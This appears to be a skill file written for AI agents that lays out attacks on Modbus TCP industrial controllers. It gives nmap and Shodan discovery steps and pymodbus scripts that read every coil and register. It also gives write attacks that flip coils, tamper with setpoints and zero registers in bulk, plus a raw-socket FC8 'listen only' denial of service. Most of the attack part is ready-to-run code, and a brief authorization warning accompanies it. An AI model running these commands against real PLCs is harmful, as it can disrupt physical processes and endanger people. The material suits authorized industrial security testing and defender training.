ics-modbus
Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.
- License 许可
- Apache-2.0
- 所属仓库
- Akapi895/raptix
- 最近更新
- 2026-11-06
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01 前言 Front Matter
- name
- ics-modbus
- metadata
- { "tags": "modbus, plc, scada, ics, ot", "subdomain": "ics-ot", "when_to_use": "modbus modbus-tcp tcp 502 plc scada coil register holding input function code fc fc8 fc43 mei serial gateway moxa", "mitre_attack": "T0855, T0836, T0831" }
- description
- Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.
- allowed-tools
- Bash Read Write
03 SKILL.md 正文
Modbus TCP Attack
Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.
Discover
# Scan for port 502
nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24
# Or with Shodan / Censys: port:502 country:XX
# Internet-facing Modbus is still depressingly common (search "modbus" on Shodan)
Read everything
# Python pymodbus
python3 -c '
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
print("Coils 0-100:", c.read_coils(0, 100).bits)
print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits)
print("Hold regs:", c.read_holding_registers(0, 100).registers)
print("Input regs:", c.read_input_registers(0, 100).registers)
c.close()
'
# Or with mbtget (CLI)
mbtget -r1 -a 0 -n 100 10.0.0.5 # read coils
mbtget -r3 -a 0 -n 100 10.0.0.5 # read holding regs
# nmap script enum
nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5
Identify the device (FC43 / MEI)
# Function code 43 (Read Device Identification) returns vendor / model / firmware
python3 -c '
from pymodbus.client import ModbusTcpClient
from pymodbus.mei_message import ReadDeviceInformationRequest
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
r = c.execute(ReadDeviceInformationRequest(read_code=1))
print(r.information)
c.close()
'
# Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...}
Write attacks
Single coil flip (DO output)
c.write_coil(address=10, value=True) # flip coil 10 ON
# In a PLC, coil 10 might be: motor start, valve open, breaker close
Tamper holding registers (process setpoints)
c.write_register(address=100, value=9999) # often a setpoint or limit
Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode")
# Stops the PLC from responding to ANY Modbus request — soft DoS
# Use raw socket:
import socket, struct
s = socket.socket()
s.connect(("10.0.0.5", 502))
mbap = struct.pack(">HHHB", 1, 0, 6, 1)
pdu = struct.pack(">BHH", 8, 0x0004, 0x0000)
s.send(mbap + pdu)
Bulk-write registers (often unauthenticated)
c.write_registers(address=0, values=[0]*100) # zero-out 100 registers
Common findings
| Finding | Impact |
|---|---|
| Modbus on internet | Full process control of whatever the PLC drives |
| No firewall between IT and OT VLAN | Lateral move from compromised desktop to PLC |
| Modbus over serial via TCP gateway (Moxa, Lantronix) | Same primitives over WAN |
| HMI uses default Modbus polling | Coil writes survive HMI refresh — persistent tamper |
| Unit ID 0 broadcast | Single packet reaches every slave (no response, but write succeeds) |
OPSEC + safety
- Real-world warning: writing to a coil/register on a live PLC may move a physical actuator. Confirm scope authorization for write-class testing IN WRITING before any FC5/6/15/16. Read-only is generally safe; writes can hurt people.
- Modbus has no audit log. Defenders use IDS (Nozomi, Claroty, Dragos) —
modbus_function_5andmodbus_function_15are distinctive in their telemetry. - Many PLCs lack rate limiting — connection floods can OOM the network stack and freeze the device for the duration of the attack.
References
- "Modbus Hacking" — Joel Langill (recurring S4 Conference talks)
- pymodbus docs — github.com/pymodbus-dev/pymodbus
- nmap NSE modbus-discover.nse
- IEC 62443 (defender baseline; useful for understanding what's in-scope)
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